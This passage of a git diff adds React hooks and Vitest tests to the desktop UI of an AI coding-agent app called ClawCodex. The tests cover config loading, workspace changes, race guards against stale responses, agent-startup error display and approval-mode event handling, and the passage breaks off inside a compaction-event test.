+  // preset — otherwise selecting a model silently downgrades a configured
+  // `agent.reasoning_effort: high` to ClawCodex' built-in medium.
+  it('publishes the profile default effort even when a manual pick blocks the composer reseed', async () => {
+    setCurrentModelSource('manual')
+    setCurrentReasoningEffort('low')
+
+    mockConfig({ agent: { reasoning_effort: 'high' } })
+    const { result } = renderHook(() => useClawCodexConfig({ activeSessionIdRef: { current: null } }))
+
+    await act(async () => {
+      await result.current.refreshClawCodexConfig()
+    })
+
+    expect($defaultReasoningEffort.get()).toBe('high')
+    // The manual pick itself is still respected.
+    expect($currentReasoningEffort.get()).toBe('low')
+  })
+
+  it('does not let terminal.cwd replace an inactive selected workspace', async () => {
+    setCurrentCwd('/Users/example/repo/.worktrees/feature')
+
+    mockConfig({ terminal: { cwd: '/Users/example/new-workspace' } })
+    const { result } = renderHook(() => useClawCodexConfig({ activeSessionIdRef: { current: null } }))
+
+    await act(async () => {
+      await result.current.refreshClawCodexConfig()
+    })
+
+    expect($currentCwd.get()).toBe('/Users/example/repo/.worktrees/feature')
+  })
+
+  it('does not let terminal.cwd replace an active session workspace', async () => {
+    setCurrentCwd('/Users/example/repo/.worktrees/attached')
+
+    mockConfig({ terminal: { cwd: '/Users/example/new-workspace' } })
+    const { result } = renderHook(() => useClawCodexConfig({ activeSessionIdRef: { current: 'session-1' } }))
+
+    await act(async () => {
+      await result.current.refreshClawCodexConfig()
+    })
+
+    expect($currentCwd.get()).toBe('/Users/example/repo/.worktrees/attached')
+  })
+
+  it('does not let a stale forced config refresh overwrite newer draft selector intent', async () => {
+    const profileConfig = deferred<Awaited<ReturnType<typeof getClawCodexConfig>>>()
+    vi.mocked(getClawCodexConfig).mockReturnValueOnce(profileConfig.promise)
+
+    const { result } = renderHook(() => useClawCodexConfig({ activeSessionIdRef: { current: null } }))
+
+    let pendingRefresh!: Promise<void>
+    act(() => {
+      pendingRefresh = result.current.refreshClawCodexConfig(true)
+    })
+    expect(getClawCodexConfig).toHaveBeenCalled()
+
+    // The user turns Fast off and chooses a different effort while the profile
+    // defaults are still loading. That newer picker intent owns the composer.
+    markComposerSelectionManual()
+    setCurrentReasoningEffort('high')
+    setCurrentFastMode(false)
+    profileConfig.resolve({
+      agent: { reasoning_effort: 'low', service_tier: 'priority' }
+    } as Awaited<ReturnType<typeof getClawCodexConfig>>)
+
+    await act(async () => {
+      await pendingRefresh
+    })
+
+    expect($currentReasoningEffort.get()).toBe('high')
+    expect($currentFastMode.get()).toBe(false)
+  })
+
+  it('does not let an older profile config overwrite a newer profile', async () => {
+    const profileB = deferred<Awaited<ReturnType<typeof getClawCodexConfig>>>()
+    const profileC = deferred<Awaited<ReturnType<typeof getClawCodexConfig>>>()
+    vi.mocked(getClawCodexConfig).mockReturnValueOnce(profileB.promise).mockReturnValueOnce(profileC.promise)
+
+    const { result } = renderHook(() => useClawCodexConfig({ activeSessionIdRef: { current: null } }))
+
+    let refreshB!: Promise<void>
+    let refreshC!: Promise<void>
+    act(() => {
+      refreshB = result.current.refreshClawCodexConfig(true)
+      refreshC = result.current.refreshClawCodexConfig(true)
+    })
+
+    profileC.resolve({ agent: { reasoning_effort: 'low', service_tier: 'normal' } })
+    await act(async () => {
+      await refreshC
+    })
+    profileB.resolve({ agent: { reasoning_effort: 'high', service_tier: 'priority' } })
+    await act(async () => {
+      await refreshB
+    })
+
+    expect($currentReasoningEffort.get()).toBe('low')
+    expect($currentFastMode.get()).toBe(false)
+  })
+
+  it('loads the profile terminal font for already-mounted terminal surfaces', async () => {
+    mockConfig({ terminal: { font_family: 'MesloLGS NF' } })
+    const { result } = renderHook(() => useClawCodexConfig({ activeSessionIdRef: { current: null } }))
+
+    await act(async () => {
+      await result.current.refreshClawCodexConfig()
+    })
+
+    expect($terminalFontFamily.get()).toBe('MesloLGS NF')
+  })
+
+  it('does not let an older profile response restore its terminal font', async () => {
+    const profileB = deferred<Awaited<ReturnType<typeof getClawCodexConfig>>>()
+    const profileC = deferred<Awaited<ReturnType<typeof getClawCodexConfig>>>()
+    vi.mocked(getClawCodexConfig).mockReturnValueOnce(profileB.promise).mockReturnValueOnce(profileC.promise)
+    const { result } = renderHook(() => useClawCodexConfig({ activeSessionIdRef: { current: null } }))
+
+    let refreshB!: Promise<void>
+    let refreshC!: Promise<void>
+    act(() => {
+      refreshB = result.current.refreshClawCodexConfig(true)
+      refreshC = result.current.refreshClawCodexConfig(true)
+    })
+
+    profileC.resolve({ terminal: { font_family: 'Hack Nerd Font' } })
+    await act(async () => {
+      await refreshC
+    })
+    profileB.resolve({ terminal: { font_family: 'MesloLGS NF' } })
+    await act(async () => {
+      await refreshB
+    })
+
+    expect($terminalFontFamily.get()).toBe('Hack Nerd Font')
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-clawcodex-config.ts b/ui-desktop/src/app/session/hooks/use-clawcodex-config.ts
new file mode 100644
index 000000000..4f315e6fe
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-clawcodex-config.ts
@@ -0,0 +1,124 @@
+import { type MutableRefObject, useCallback, useRef, useState } from 'react'
+
+import { setTerminalFontFamilyFromConfig } from '@/app/right-sidebar/terminal/terminal-font'
+import { getClawCodexConfig, getClawCodexConfigDefaults } from '@/clawcodex'
+import { BUILTIN_PERSONALITIES, normalizePersonalityValue, personalityNamesFromConfig } from '@/lib/chat-runtime'
+import { normalize } from '@/lib/text'
+import {
+  getComposerSelectionGeneration,
+  getCurrentModelSource,
+  setAvailablePersonalities,
+  setCurrentFastMode,
+  setCurrentPersonality,
+  setCurrentReasoningEffort,
+  setCurrentServiceTier,
+  setDefaultReasoningEffort,
+  setIntroPersonality
+} from '@/store/session'
+import {
+  applyAutoSpeakFromConfig,
+  applyThinkingSoundFromConfig,
+  applyVoiceStopPhraseFromConfig
+} from '@/store/voice-prefs'
+
+const DEFAULT_VOICE_SECONDS = 120
+const FAST_TIERS = new Set(['fast', 'priority', 'on'])
+
+function recordingLimit(value: unknown) {
+  return typeof value === 'number' && Number.isFinite(value) && value > 0 ? value : DEFAULT_VOICE_SECONDS
+}
+
+/** config.yaml hands back whatever the user wrote — `reasoning_effort: false`
+ *  (or `off`/`no`, which YAML also parses to boolean false) means thinking
+ *  disabled, and a bare boolean must not throw on `.trim()`. */
+function normalizeConfigEffort(value: unknown): string {
+  if (value === false) {
+    return 'none'
+  }
+
+  if (typeof value !== 'string') {
+    return ''
+  }
+
+  const effort = normalize(value)
+
+  return effort === 'false' || effort === 'disabled' ? 'none' : effort
+}
+
+interface ClawCodexConfigOptions {
+  activeSessionIdRef: MutableRefObject<string | null>
+}
+
+export function useClawCodexConfig({ activeSessionIdRef }: ClawCodexConfigOptions) {
+  const [voiceMaxRecordingSeconds, setVoiceMaxRecordingSeconds] = useState(DEFAULT_VOICE_SECONDS)
+  const [sttEnabled, setSttEnabled] = useState(true)
+  const profileRefreshEpochRef = useRef(0)
+
+  const refreshClawCodexConfig = useCallback(
+    async (force = false) => {
+      if (force) {
+        profileRefreshEpochRef.current += 1
+      }
+
+      const profileRefreshEpoch = profileRefreshEpochRef.current
+      const selectionGeneration = getComposerSelectionGeneration()
+
+      try {
+        const [config, defaults] = await Promise.all([getClawCodexConfig(), getClawCodexConfigDefaults().catch(() => ({}))])
+
+        if (profileRefreshEpochRef.current !== profileRefreshEpoch) {
+          return
+        }
+
+        const personality = normalizePersonalityValue(
+          typeof config.display?.personality === 'string' ? config.display.personality : ''
+        )
+
+        setIntroPersonality(personality)
+        // Active sessions keep their per-session value; standalone falls back to config.
+        setCurrentPersonality(prev => (activeSessionIdRef.current ? prev || personality : personality))
+        setAvailablePersonalities([
+          ...new Set([
+            'none',
+            ...BUILTIN_PERSONALITIES,
+            ...personalityNamesFromConfig(defaults),
+            ...personalityNamesFromConfig(config)
+          ])
+        ])
+
+        const reasoning = normalizeConfigEffort(config.agent?.reasoning_effort)
+        const tier = (config.agent?.service_tier ?? '').trim()
+
+        // Publish the profile default regardless of whether the composer is
+        // reseeded below: picker rows and preset application resolve "the
+        // default" from here, so a manual model pick must not leave them
+        // rendering/applying ClawCodex' built-in medium over the user's config.
+        setDefaultReasoningEffort(reasoning)
+
+        const shouldSeedComposer =
+          !activeSessionIdRef.current &&
+          getComposerSelectionGeneration() === selectionGeneration &&
+          (force || getCurrentModelSource() !== 'manual')
+
+        if (shouldSeedComposer) {
+          setCurrentReasoningEffort(reasoning)
+          setCurrentFastMode(FAST_TIERS.has(tier.toLowerCase()))
+        }
+
+        setCurrentServiceTier(prev => (activeSessionIdRef.current ? prev : tier))
+
+        setVoiceMaxRecordingSeconds(recordingLimit(config.voice?.max_recording_seconds))
+        setSttEnabled(config.stt?.enabled !== false)
+        setTerminalFontFamilyFromConfig(config.terminal?.font_family)
+        applyAutoSpeakFromConfig(config)
+        applyVoiceStopPhraseFromConfig(config)
+        applyThinkingSoundFromConfig(config)
+      } catch {
+        // Config is nice-to-have; chat still works without it.
+      }
+    },
+    [activeSessionIdRef]
+  )
+
+  return { refreshClawCodexConfig, sttEnabled, voiceMaxRecordingSeconds }
+}
diff --git a/ui-desktop/src/app/session/hooks/use-context-suggestions.ts b/ui-desktop/src/app/session/hooks/use-context-suggestions.ts
new file mode 100644
index 000000000..b1e1b8878
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-context-suggestions.ts
@@ -0,0 +1,58 @@
+import { type MutableRefObject, useCallback, useEffect } from 'react'
+
+import { $currentCwd, setContextSuggestions } from '@/store/session'
+
+import type { ContextSuggestion } from '../../types'
+
+interface ContextSuggestionsOptions {
+  activeSessionId: string | null
+  activeSessionIdRef: MutableRefObject<string | null>
+  currentCwd: string
+  gatewayState: string | undefined
+  requestGateway: <T = unknown>(method: string, params?: Record<string, unknown>) => Promise<T>
+}
+
+export function useContextSuggestions({
+  activeSessionId,
+  activeSessionIdRef,
+  currentCwd,
+  gatewayState,
+  requestGateway
+}: ContextSuggestionsOptions) {
+  const refresh = useCallback(async () => {
+    if (!activeSessionId) {
+      setContextSuggestions([])
+
+      return
+    }
+
+    const sessionId = activeSessionId
+    const cwd = currentCwd || ''
+
+    // Race guard: only commit if the session+cwd we sent for still match
+    // by the time the gateway responds.
+    const stillCurrent = () => activeSessionIdRef.current === sessionId && $currentCwd.get() === cwd
+
+    try {
+      const result = await requestGateway<{ items?: ContextSuggestion[] }>('complete.path', {
+        session_id: sessionId,
+        word: '@file:',
+        cwd: cwd || undefined
+      })
+
+      if (stillCurrent()) {
+        setContextSuggestions((result.items || []).filter(i => i.text))
+      }
+    } catch {
+      if (stillCurrent()) {
+        setContextSuggestions([])
+      }
+    }
+  }, [activeSessionId, activeSessionIdRef, currentCwd, requestGateway])
+
+  useEffect(() => {
+    if (gatewayState === 'open' && activeSessionId) {
+      void refresh()
+    }
+  }, [activeSessionId, gatewayState, refresh])
+}
diff --git a/ui-desktop/src/app/session/hooks/use-cwd-actions.test.tsx b/ui-desktop/src/app/session/hooks/use-cwd-actions.test.tsx
new file mode 100644
index 000000000..213c5d205
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-cwd-actions.test.tsx
@@ -0,0 +1,97 @@
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import type { MutableRefObject } from 'react'
+import { useEffect } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  $currentBranch,
+  $currentCwd,
+  $newChatWorkspaceTarget,
+  setCurrentBranch,
+  setCurrentCwd,
+  setCurrentCwdTransient,
+  setNewChatWorkspaceTarget
+} from '@/store/session'
+
+import { useCwdActions } from './use-cwd-actions'
+
+type CwdActionsHandle = ReturnType<typeof useCwdActions>
+
+function deferred<T>() {
+  let resolve!: (value: T) => void
+
+  const promise = new Promise<T>(done => {
+    resolve = done
+  })
+
+  return { promise, resolve }
+}
+
+function Harness({
+  activeSessionIdRef,
+  onReady,
+  requestGateway
+}: {
+  activeSessionIdRef: MutableRefObject<string | null>
+  onReady: (handle: CwdActionsHandle) => void
+  requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>
+}) {
+  const actions = useCwdActions({
+    activeSessionIdRef,
+    requestGateway
+  })
+
+  useEffect(() => {
+    onReady(actions)
+  }, [actions, onReady])
+
+  return null
+}
+
+describe('useCwdActions draft workspace target', () => {
+  beforeEach(() => {
+    setCurrentCwd('')
+    setCurrentBranch('')
+    setNewChatWorkspaceTarget(undefined)
+  })
+
+  afterEach(() => {
+    cleanup()
+    setCurrentCwd('')
+    setCurrentBranch('')
+    setNewChatWorkspaceTarget(undefined)
+    vi.restoreAllMocks()
+  })
+
+  it('ignores stale draft cwd normalization after a newer no-workspace target wins', async () => {
+    const projectInfo = deferred<{ branch?: string; cwd?: string }>()
+    const requestGateway = vi.fn(async () => projectInfo.promise as never)
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: null }
+    let handle: CwdActionsHandle | null = null
+
+    render(
+      <Harness activeSessionIdRef={activeSessionIdRef} onReady={h => (handle = h)} requestGateway={requestGateway} />
+    )
+    await waitFor(() => expect(handle).not.toBeNull())
+
+    let pendingChange!: Promise<void>
+
+    await act(async () => {
+      pendingChange = handle!.changeSessionCwd('/stale-workspace')
+    })
+
+    expect($newChatWorkspaceTarget.get()).toBe('/stale-workspace')
+
+    setNewChatWorkspaceTarget(null)
+    setCurrentCwdTransient('')
+    projectInfo.resolve({ branch: 'main', cwd: '/normalized-stale-workspace' })
+
+    await act(async () => {
+      await pendingChange
+    })
+
+    expect($newChatWorkspaceTarget.get()).toBeNull()
+    expect($currentCwd.get()).toBe('')
+    expect($currentBranch.get()).toBe('')
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-cwd-actions.ts b/ui-desktop/src/app/session/hooks/use-cwd-actions.ts
new file mode 100644
index 000000000..b6283ab27
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-cwd-actions.ts
@@ -0,0 +1,124 @@
+import { type MutableRefObject, useCallback } from 'react'
+
+import { useI18n } from '@/i18n'
+import { notify, notifyError } from '@/store/notifications'
+import {
+  $currentCwd,
+  $newChatWorkspaceTargetGeneration,
+  setCurrentBranch,
+  setCurrentCwd,
+  setNewChatWorkspaceTarget
+} from '@/store/session'
+import type { SessionRuntimeInfo } from '@/types/clawcodex'
+
+interface CwdActionsOptions {
+  activeSessionIdRef: MutableRefObject<string | null>
+  onSessionRuntimeInfo?: (info: Pick<SessionRuntimeInfo, 'branch' | 'cwd'>) => void
+  requestGateway: <T = unknown>(method: string, params?: Record<string, unknown>) => Promise<T>
+}
+
+export function useCwdActions({ activeSessionIdRef, onSessionRuntimeInfo, requestGateway }: CwdActionsOptions) {
+  const { t } = useI18n()
+  const copy = t.desktop
+
+  const refreshProjectBranch = useCallback(
+    async (cwd: string) => {
+      const target = cwd.trim()
+
+      if (!target || activeSessionIdRef.current) {
+        return
+      }
+
+      try {
+        const info = await requestGateway<{ branch?: string; cwd?: string }>('config.get', {
+          key: 'project',
+          cwd: target
+        })
+
+        if (!activeSessionIdRef.current && ($currentCwd.get() || target) === (info.cwd || target)) {
+          setCurrentBranch(info.branch || '')
+        }
+      } catch {
+        setCurrentBranch('')
+      }
+    },
+    [activeSessionIdRef, requestGateway]
+  )
+
+  const changeSessionCwd = useCallback(
+    async (cwd: string) => {
+      const trimmed = cwd.trim()
+
+      if (!trimmed) {
+        return
+      }
+
+      // Ref, not the closure-captured prop: this hook's consumers are memoized
+      // on a stable actions object, so the prop can still name the previously
+      // focused chat. Re-anchoring the wrong session's workspace would point
+      // that agent's terminal/file tools at another conversation's project.
+      const sessionId = activeSessionIdRef.current
+
+      if (!sessionId) {
+        setCurrentCwd(trimmed)
+        const workspaceGeneration = setNewChatWorkspaceTarget(trimmed)
+
+        try {
+          const info = await requestGateway<{ branch?: string; cwd?: string }>('config.get', {
+            key: 'project',
+            cwd: trimmed
+          })
+
+          if ($newChatWorkspaceTargetGeneration.get() !== workspaceGeneration || activeSessionIdRef.current) {
+            return
+          }
+
+          // Adopt the backend's normalized cwd so the persisted workspace and
+          // branch stay consistent with what the agent will use.
+          if (info.cwd) {
+            setCurrentCwd(info.cwd)
+            setNewChatWorkspaceTarget(info.cwd)
+          }
+
+          setCurrentBranch(info.branch || '')
+        } catch {
+          if ($newChatWorkspaceTargetGeneration.get() === workspaceGeneration && !activeSessionIdRef.current) {
+            setCurrentBranch('')
+          }
+        }
+
+        return
+      }
+
+      try {
+        const info = await requestGateway<SessionRuntimeInfo>('session.cwd.set', {
+          session_id: sessionId,
+          cwd: trimmed
+        })
+
+        setCurrentCwd(info.cwd || trimmed)
+        setCurrentBranch(info.branch || '')
+        onSessionRuntimeInfo?.({ branch: info.branch || '', cwd: info.cwd || trimmed })
+      } catch (err) {
+        const message = err instanceof Error ? err.message : String(err)
+
+        if (!message.includes('unknown method')) {
+          notifyError(err, copy.cwdChangeFailed)
+
+          return
+        }
+
+        setCurrentCwd(trimmed)
+        setCurrentBranch('')
+        notify({
+          kind: 'warning',
+          title: copy.cwdStagedTitle,
+          message: copy.cwdStagedMessage
+        })
+      }
+    },
+    [activeSessionIdRef, copy, onSessionRuntimeInfo, requestGateway]
+  )
+
+  return { changeSessionCwd, refreshProjectBranch }
+}
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/agent-init-error.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/agent-init-error.test.tsx
new file mode 100644
index 000000000..f31a8cf48
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/agent-init-error.test.tsx
@@ -0,0 +1,131 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { textPart } from '@/lib/chat-messages'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { $notifications, clearNotifications } from '@/store/notifications'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+const SID = 'rt-new-session'
+
+let handleEvent: ((event: RpcEvent) => void) | null = null
+let sessionStates: Map<string, ClientSessionState> | null = null
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+    sessionStates = sessionStateByRuntimeIdRef.current
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream() {
+  render(<Harness />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+/** Seed the session as it looks right after a first-message submit: the
+ *  optimistic user row is present, the turn is awaiting its response. */
+function seedOptimisticFirstMessage() {
+  sessionStates!.set(SID, {
+    ...createClientSessionState('stored-new-session', [
+      { id: 'user-123-abc', role: 'user', parts: [textPart('first message of a new chat')] }
+    ]),
+    busy: true,
+    awaitingResponse: true
+  })
+}
+
+describe('useMessageStream agent-init error surfacing (#63078)', () => {
+  beforeEach(() => {
+    handleEvent = null
+    sessionStates = null
+    clearNotifications()
+  })
+
+  afterEach(() => {
+    cleanup()
+    clearNotifications()
+    vi.restoreAllMocks()
+  })
+
+  it('renders an agent-init failure as a visible in-transcript error and keeps the optimistic first message', async () => {
+    await mountStream()
+    seedOptimisticFirstMessage()
+
+    act(() =>
+      handleEvent!({
+        payload: {
+          message:
+            'agent initialization timed out after 601s — your message was not sent; retry once the session is ready'
+        },
+        session_id: SID,
+        type: 'error'
+      })
+    )
+
+    const state = sessionStates!.get(SID)!
+
+    // The user's optimistic first message must survive — the failure mode of
+    // #63078 was the message silently vanishing into a blank session.
+    const userRows = state.messages.filter(m => m.role === 'user')
+    expect(userRows).toHaveLength(1)
+    expect(userRows[0]!.id).toBe('user-123-abc')
+
+    // The failure is VISIBLE in the session view: an assistant error bubble...
+    const errorRows = state.messages.filter(m => m.role === 'assistant' && m.error)
+    expect(errorRows).toHaveLength(1)
+    expect(errorRows[0]!.error).toContain('your message was not sent')
+
+    // ...and the composer is released (no forever-spinner on a dead turn).
+    expect(state.busy).toBe(false)
+    expect(state.awaitingResponse).toBe(false)
+
+    // A global toast also fired (turn-ending errors are easy to miss inline).
+    expect($notifications.get().some(n => n.kind === 'error' && n.message?.includes('was not sent'))).toBe(true)
+  })
+
+  it('renders the pre-ready cancel error event (#65567 server emit) visibly', async () => {
+    await mountStream()
+    seedOptimisticFirstMessage()
+
+    act(() =>
+      handleEvent!({
+        payload: { message: 'Turn cancelled before the agent was ready' },
+        session_id: SID,
+        type: 'error'
+      })
+    )
+
+    const state = sessionStates!.get(SID)!
+    expect(state.messages.some(m => m.role === 'assistant' && m.error?.includes('cancelled'))).toBe(true)
+    expect(state.messages.some(m => m.id === 'user-123-abc')).toBe(true)
+    expect(state.busy).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/approval-mode-event.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/approval-mode-event.test.tsx
new file mode 100644
index 000000000..f7eabc462
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/approval-mode-event.test.tsx
@@ -0,0 +1,102 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { $approvalModes, approvalModeForProfile } from '@/store/approval-mode'
+import { $activeGatewayProfile } from '@/store/profile'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+const ACTIVE_SID = 'session-active'
+let handleEvent: ((event: RpcEvent) => void) | null = null
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(ACTIVE_SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream() {
+  render(<Harness />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+describe('live session.info approval mode reconciliation', () => {
+  beforeEach(() => {
+    handleEvent = null
+    $approvalModes.set({})
+    $activeGatewayProfile.set('work')
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('reconciles an active-session event under its source gateway profile', async () => {
+    await mountStream()
+
+    act(() =>
+      handleEvent!({
+        payload: { approval_mode: 'off' },
+        profile: 'work',
+        session_id: ACTIVE_SID,
+        type: 'session.info'
+      })
+    )
+
+    expect(approvalModeForProfile('work')).toBe('off')
+    expect(approvalModeForProfile('default')).toBe('smart')
+  })
+
+  it('ignores stale session.info from a non-active session on the active gateway', async () => {
+    await mountStream()
+
+    act(() =>
+      handleEvent!({
+        payload: { approval_mode: 'off' },
+        profile: 'work',
+        session_id: 'session-stale',
+        type: 'session.info'
+      })
+    )
+
+    expect(approvalModeForProfile('work')).toBe('smart')
+  })
+
+  it('does not cache an event under a different active profile when its source profile is absent', async () => {
+    await mountStream()
+    $activeGatewayProfile.set('personal')
+
+    act(() => handleEvent!({ payload: { approval_mode: 'off' }, session_id: ACTIVE_SID, type: 'session.info' }))
+
+    expect(approvalModeForProfile('personal')).toBe('smart')
+    expect(approvalModeForProfile('work')).toBe('smart')
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/clarify-hydration.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/clarify-hydration.test.tsx
new file mode 100644
index 000000000..98f4c3777
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/clarify-hydration.test.tsx
@@ -0,0 +1,116 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { type MutableRefObject, useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { clearClarifyRequest } from '@/store/clarify'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+// A `clarify.request` must leave an answerable inline row even when the
+// `tool.start` that normally mounts it was missed (stream reconnect /
+// hydration race). Without it the sidebar says "needs input" but the
+// transcript has nowhere to render the choices, so the agent blocks forever.
+
+const SID = 'session-1'
+
+let handleEvent: ((event: RpcEvent) => void) | null = null
+let stateRef: MutableRefObject<Map<string, ClientSessionState>> | null = null
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+    stateRef = sessionStateByRuntimeIdRef
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream() {
+  render(<Harness />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+const clarifyRequest = (payload: Record<string, unknown>) =>
+  act(() => handleEvent!({ payload, session_id: SID, type: 'clarify.request' }))
+
+const toolStart = (payload: Record<string, unknown>) =>
+  act(() => handleEvent!({ payload, session_id: SID, type: 'tool.start' }))
+
+function clarifyParts() {
+  const messages = stateRef?.current.get(SID)?.messages ?? []
+
+  return messages.flatMap(m => m.parts).filter(p => p.type === 'tool-call' && p.toolName === 'clarify')
+}
+
+describe('clarify.request stream hydration', () => {
+  beforeEach(() => {
+    handleEvent = null
+    stateRef = null
+    clearClarifyRequest()
+  })
+
+  afterEach(() => {
+    cleanup()
+    clearClarifyRequest()
+    vi.restoreAllMocks()
+  })
+
+  it('mounts an answerable clarify row when the tool.start row was missed', async () => {
+    await mountStream()
+
+    clarifyRequest({ choices: ['yes', 'no'], question: 'Ship it?', request_id: 'req-1' })
+
+    const parts = clarifyParts()
+    expect(parts).toHaveLength(1)
+    expect(parts[0].type === 'tool-call' && parts[0].toolCallId).toBe('req-1')
+    expect(parts[0].type === 'tool-call' && parts[0].args).toMatchObject({
+      choices: ['yes', 'no'],
+      question: 'Ship it?'
+    })
+  })
+
+  it('merges with the real tool.start row even though its id differs from the request id', async () => {
+    await mountStream()
+
+    // Reality: tool.start carries the model's tool_call_id, clarify.request a
+    // separately-generated request_id. They must still collapse to ONE card
+    // (correlated by question), not two.
+    toolStart({ args: { choices: ['a'], question: 'Pick' }, name: 'clarify', tool_id: 'call-abc' })
+    clarifyRequest({ choices: ['a'], question: 'Pick', request_id: 'req-2' })
+
+    expect(clarifyParts()).toHaveLength(1)
+  })
+
+  it('does not duplicate when clarify.request arrives before the tool.start row', async () => {
+    await mountStream()
+
+    clarifyRequest({ choices: ['a'], question: 'Pick', request_id: 'req-3' })
+    toolStart({ args: { choices: ['a'], question: 'Pick' }, name: 'clarify', tool_id: 'call-xyz' })
+
+    expect(clarifyParts()).toHaveLength(1)
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/compaction-event.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/compaction-event.test.tsx
new file mode 100644
index 000000000..07b539f27
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/compaction-event.test.tsx
@@ -0,0 +1,92 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { $compactingSessions, setSessionCompacting } from '@/store/compaction'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+const SID = 'session-1'
+const OTHER_SID = 'session-2'
+let handleEvent: ((event: RpcEvent) => void) | null = null
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
